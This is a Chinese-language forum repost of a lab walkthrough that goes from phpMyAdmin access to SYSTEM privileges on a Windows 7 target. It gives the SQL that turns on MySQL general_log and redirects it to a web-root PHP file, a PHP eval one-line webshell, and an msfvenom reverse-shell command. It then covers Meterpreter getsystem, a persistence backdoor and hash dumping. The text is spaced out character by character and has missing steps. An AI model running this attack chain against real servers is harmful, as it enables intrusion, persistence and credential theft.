搜索

[26933] 2020-03-13_phpmyadmingetshell到提权

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2020-03-13_phpmyadmingetshell到提权 p h p m y a d m i n   g e t s h e l l 到 提 权 土 拨 鼠 先 生   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 3 - 1 3 一 .   环 境 准 备 ： 靶 机 ： w i n 7   3 2   位 。 环 境 ： p h p ： 5 . 4 5 M Y s q l ： 5 . 5 . 5 3 A p a c h e ： 2 . 4 s 二 .   开 始 攻 击 。 访 问 目 标 站 点 ， 发 现 开 启 3 3 0 6   端 口 ， 经 过 弱 口 令 ， 爆 破 ， 目 录 泄 露 等 途 径 已 经 获 知 P h p M y a d m i n 的 账 号 密 码 是 r o o t   r o o t 1 . 开 始 登 陆 到 目 标 服 务 器 的 P h p M y a d m i n
2 . 检 测 M y S Q L 全 局 变 量 （ g e n e r a l l o g 、 g e n e r a l l o g   f i l e ） 的 值 。 g e n e r a l   l o g   指 的 是 日 志 保 存 状 态 ， 一 共 有 两 个 值 （ O N / O F F ） O N 代 表 开 启   O F F 代 表 关 闭 。 g e n e r a l   l o g   f i l e   指 的 是 日 志 的 保 存 路 径 。 1 .   S H O W   V A R I A B L E S   L I K E   ' g e n e r a l % '
已 知 g e n e r a l _ l o g 默 认 是 关 闭 的 ， l o g 日 志 存 放 的 位 置 是 C : p h p M y S Q L d a t a S C - 2 0 1 8 0 5 1 2 0 0 0 2 . l o g 开 启 g e n e r a l l o g   的 作 用 ， 开 启 它 可 以 记 录 用 户 输 入 的 每 条 命 令 ， 会 把 其 保 存 在 C : p h p M y S Q L d a t a S C - 2 0 1 8 0 5 1 2 0 0 0 2 . l o g 下 的 一 个 l o g 文 件 中 ， 其 实 就 是 我 们 常 说 的 日 志 文 件 。 利 用 的 思 路 是 开 启 g e n e r a l l o g 之 后 把 g e n e r a l l o g f i l e 的 值 修 改 为 我 们 网 站 默 认 路 径 下 一 个 自 定 义 的 p h p 文 件 中 ， 然 后 我 们 通 过 l o g 日 志 进 行 写 入 一 句 话 后 门 到 上 面 去 ， 然 后 再 进 一 步 利 用 。 1 .   s e t   g l o b a l   g e n e r a l _ l o g   =   " O N " ; 2 .   S E T   g l o b a l   g e n e r a l _ l o g _ f i l e = ' C : / p h p / W W W / t e s t s h e l l . p h p ' ;

在 网 站 的 根 路 径 下 生 成 了 t e s t s h e l l . p h p 的 文 件 夹 。 1 .   # # #   然 后 执 行 插 入 一 句 话 木 马 。 1 .   # # #   这 时 通 过 浏 览 访 问 一 下 一 句 话 木 马 。 1 .   s e l e c t   ' < ? p h p   e v a l ( $ _ P O S T [ c m d ] ) ; ? > ' ;

5 . 通 过 蚁 剑 连 接 一 句 话 木 马 。
发 现 现 在 获 取 的 权 限 为 a d m i n i s t r a t o r 权 限 ， 通 过 m s f 下 g e t s y s t e m 来 进 行 提 权 。 1 .   # # #   生 成 e x e 的 反 弹 连 接 木 马 将 生 成 的 木 马 通 过 蚁 剑 上 传 到 目 标 服 务 器 并 执 行 。 7 . 开 m s f 监 听 ， 1 .   m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 . 1 0 7   L P O R T = 4 4 4 4   - f   e x e   > t e s t s h e l l . e x e
使 用 g e t s y s t e m 来 进 行 提 权 。 1 .   # # #   建 立 后 门 。 生 成 的 后 门 文 件 路 径 ： 后 门 加 载 成 功 利 用 方 式 ： 当 用 户 登 录 到 远 程 系 统 时 ， 为 我 们 打 开 一 个 M e t e r p r e t e r 会 话 1 .   # # #   连 接 后 门
成 功 。 总 结 ： 1 . 在 获 取 密 码 的 过 程 中 由 于 是 本 地 搭 建 的 ， 所 以 是 知 道 密 码 的 在 实 际 使 用 中 可 以 采 用 爆 破 的 方 式 获 取 密 码 。 2 . 在 获 取 一 句 话 反 弹 连 接 后 尝 试 获 取 密 码 失 败 ， 后 面 在 m s f 下 获 取 h a s h 成 功 获 取 目 标 登 录 密 码 。 扫 描 下 方 二 维 码 学 习 更 多 扫 描 下 方 二 维 码 学 习 更 多 W E B 安 全 知 识 ： 安 全 知 识 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理